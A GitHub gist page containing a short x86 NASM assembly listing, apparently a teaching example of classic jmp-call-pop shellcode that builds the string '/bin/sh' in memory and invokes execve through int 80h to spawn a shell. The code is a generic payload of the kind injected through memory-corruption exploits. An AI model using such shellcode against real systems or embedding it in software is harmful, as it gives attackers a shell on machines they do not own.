Skip to content

Instantly share code, notes, and snippets.

@RdlP
Created October 19, 2016 20:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RdlP/1d5dce3aad65f86ed48aab8f17fb042f to your computer and use it in GitHub Desktop.
Save RdlP/1d5dce3aad65f86ed48aab8f17fb042f to your computer and use it in GitHub Desktop.
section .text
global _start
_start:
jmp truco
inicio:
pop ESI
xor EAX, EAX
mov [ESI + 7], AL
mov AL, 0Bh
mov EBX, ESI
xor ECX, ECX
xor EDX, EDX
int 80h
xor EBX, EBX
mov AL, 01h
int 80h
truco:
call inicio
db '/bin/sh'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment